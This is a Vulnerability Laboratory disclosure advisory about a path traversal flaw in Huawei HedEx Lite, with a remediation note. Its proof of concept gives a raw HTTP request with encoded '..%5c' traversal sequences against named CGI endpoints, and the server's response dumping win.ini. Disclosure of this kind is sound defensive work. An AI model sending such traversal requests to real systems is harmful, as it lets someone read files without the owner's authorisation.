Document Title:
===============
Huawei HedEx Lite (DM) - Path Traversal Web Vulnerability 


Date:
=====
2020-11-24


References:
===========
https://www.vulnerability-lab.com/get_content.php?id=2268


VL-ID:
=====
2268


Common Vulnerability Scoring System:
====================================
7


Vulnerability Class:
====================
Directory- or Path-Traversal


Introduction:
=============
https://support.huawei.com/carrier/docview!docview?nid=SCL1000005027&path=PAN-ET/PAN-T/PAN-T-HedEx


Abstract:
=========
A vulnerability laboratory core team researcher discovered a path traversal vulnerability in the Huawei HedEx Lite v200R006C00SPC005.


Report-Timeline:
================
2020-11-24: Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
An exploitable path traversal vulnerability has been discovered in the official Huawei HedEx Lite v200R006C00SPC005.
Attackers can able to request local files or resources by remote requesting to unauthorized change a local path.


Proof of Concept:
=================
The path traversal vulnerability can be exploited by remote attackers with restricted system user privileges wihtout user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Vulnerable File(s):
./newOtherManageContent.cgi [URL Path Filename]
./newStartupHedExBeeAction.cgi [URL Path Filename]
./newprehomeadvsearch.cgi [URL Path Filename]


--- PoC Session Logs [POST Method Request] ---
URL: http://localhost:7890/newOtherManageContent.cgi/................................windowswin.ini
Path: /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1
Host: localhost:7890
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://localhost:7890/newindex.cgi
Connection: close
Content-Length: 0


 --- PoC Session Logs [Response] ---
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="win.ini"
Content-Length: 1801
Content-Type: application/octet-stream;charset=utf-8
X-Frame-Options: SAMEORIGIN
-
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
[Drivers.32]
OLEMessaging.64=$80,$5D,$D9,$A6,$A4,$18,$A8,$AD
[ChannelDownmixer]
p1.bIsMultichannel=0
p1.wFormatTag=1
p1.nChannels=2
p1.dwChannelMask=63
p1.wBitsPerSample=16
p1.RequiredInputBitDepth=0
p1.bRequireInputNumberOfChannels=0
p1.RequiredInputNumberOfChannels=6
p1.bRequireInputSamplerate=0
p1.RequiredInputSamplerate=48000
p1.bRaiseMeritAndSingleInstance=1
p2.InputEnableBitmask=-1
p2.OutputEnableBitmask=-1
p2.bEnableInputGains=0
p2.bEnableOutputGains=0
p2.bEnableMasterVolume=0
p2.MasterVolumeGain=100
p2.I.FL=100
p2.I.FR=100
p2.I.FC=100
p2.I.LF=100
p2.I.BL=100
p2.I.BR=100
p2.I.FLC=100
p2.I.FRC=100
p2.I.BC=100
p2.I.SL=100
p2.I.SR=100
p2.I.TC=100
p2.I.TFL=100
p2.I.TFC=100
p2.I.TFR=100
p2.I.TBL=100
p2.I.TBC=100
p2.I.TBR=100
p2.I.bJoinFLFR=1
p2.I.bJoinBLBR=1
p2.I.bJoinFLCFRC=1
p2.I.bJoinSLSR=1
p2.I.bJoinTFLTFR=1
p2.I.bJoinTBLTBR=1
p2.O.FL=100
p2.O.FR=100
p2.O.FC=100
p2.O.LF=100
p2.O.BL=100
p2.O.BR=100
p2.O.FLC=100
p2.O.FRC=100
p2.O.BC=100
p2.O.SL=100
p2.O.SR=100
p2.O.TC=100
p2.O.TFL=100
p2.O.TFC=100
p2.O.TFR=100
p2.O.TBL=100
p2.O.TBC=100
p2.O.TBR=100
p2.O.bJoinFLFR=1
p2.O.bJoinBLBR=1
p2.O.bJoinFLCFRC=1
p2.O.bJoinSLSR=1
p2.O.bJoinTFLTFR=1
p2.O.bJoinTBLTBR=1
p3.bCustomMixMatrix=0
CustomMixMatrixFilename=
LastRegisteredVersion=20000


Solution:
=========
The vulnerability can be resolved by setting restricted accessable paths.  A whitelist or static paths configuration can be combined.
An update is available on the huawei website provided by the manufacturer of the application via customer portal.


Risk:
=====
The security risk of the path traversal web vulnerability in the download manager software is estimated as high.


Credits:
========
S.AbenMassaoud [Research Team] - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™